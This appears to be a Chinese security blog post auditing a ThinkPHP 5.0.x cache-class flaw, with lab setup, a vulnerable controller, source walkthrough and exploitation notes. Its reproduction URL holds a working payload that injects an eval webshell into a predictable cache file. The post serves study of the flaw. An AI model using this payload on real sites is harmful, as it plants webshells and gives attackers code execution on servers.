S1xHcL's Blog.

ThinkPHP 命令执行代码审计学习

Word count: 656Reading time: 2 min
2024/06/02 Share

Thinkphp 5.0.x 远程命令执行漏洞

漏洞概述

本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞

影响版本

  • 5.0.0 <= ThinkPHP <= 5.0.10

漏洞环境

拉取项目

1
composer create-project --prefer-dist topthink/think=5.0.10 thinkphp_5.0.10

修改 composer.json 文件的 require 字段设置成如下,然后再执行 composer update

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},

使用 phpstudy 搭建选择网站根目录为 ./thinkphp_5.0.10

修改 application/index/controller/Index.php 文件内容

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;
use think\Cache;

class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}

漏洞复现

1
http://thinkphp/public/?username=mochazz123%0D%0A@eval($_GET[_]);//

漏洞分析

打断点进入 Cache 类中 set() 方法

位于 thinkphp/library/think/Cache.php 中 126 行

调用 self::init() 初始化缓存,继续跟进

self::$handlernull ,进入 if 判断条件中,上面调用 init() 没有参数,所以 $options 为空,进入 69 行判断

cache.type 默认值为 File

所以根据条件进入 72 行判断,继续紧跟 self::connetct()

$options['type'] 值为 File ,找到 cache 缓存的驱动为 File,对应类为 \think\cache\driver\file,在第 51 行处实例化并返回,进入 \think\cache\driver\fileset() 方法

$value 参数可空,没有任何过滤,经过 serialize() 序列化赋值给 $data ,第 147 行处 $this->options['data_compress'] 默认为 false ,数据不会经过 gzcompress() 函数处理,直接拼接 $data 数据,序列化前面的单行注释符 // 通过传入的换行符 %0D%0A 进行绕过,最后使用 file_put_contents() 写入。文件名 $filename 来自 getCacheKey() ,跟进该函数查看

第 70 行处 $this->options['cache_subdir'] 默认值为 true ,进入判断中,取 $name 的 md5 加密后的值前两位拼接 / 后面剩余的 28 位字符串为完整的路径信息。

利用补充

  1. 该漏洞利用需要站点搭建在 thinkphp 根目录,可以访问到 runtime 目录中,缓存文件可访问到。而官方推荐 public 为 web 目录。
  2. 如果程序设置 $this->options['prefix'] 的情况下,没有源码则无法判断 webshell 路径。
CATALOG
  1. 1. Thinkphp 5.0.x 远程命令执行漏洞
    1. 1.1. 漏洞概述
    2. 1.2. 影响版本
    3. 1.3. 漏洞环境
    4. 1.4. 漏洞复现
    5. 1.5. 漏洞分析
    6. 1.6. 利用补充